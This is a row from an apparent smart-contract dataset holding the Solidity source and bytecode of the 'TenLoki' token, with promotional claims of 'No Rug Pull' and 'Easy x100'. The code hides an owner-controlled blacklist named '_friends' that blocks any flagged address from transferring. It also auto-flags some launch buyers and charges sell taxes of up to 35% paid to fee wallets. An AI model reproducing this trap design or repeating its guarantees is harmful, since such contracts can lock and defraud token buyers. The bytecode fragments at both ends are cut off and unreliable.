166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212202f0aadcbe07304e213e775d24d996932d31f31ea909ba541f556579fe2cb590164736f6c63430006040033 | {"success": true, "error": null, "results": {}} | 1,150 |
0xbd2c5797b23b9b1dad2329fb91cdc75087fb3aed | /**
*
TenLoki
totalSupply : 1,000,000,000,000
liquidity : 60%
totalBurn : 35%
Marketing : 4%
team dev : 1%
***** I will add 2 ETH to the Liquidity *****
// FAIRLAUNCH
// Easy x100
// Liquidity pool locked
// Renounce
// Contract verified on Etherscan
* No Rug Pull
* Anti whales
* No presale
* 100% Community-driven
tg: https://t.me/TenLoki
twitter : https://twitter.com/Ten_Loki
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract tenloki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Ten Loki ";
string private constant _symbol = unicode" TLOKI ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600a81526020017f2054656e204c6f6b692000000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f20544c4f4b492000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b60156000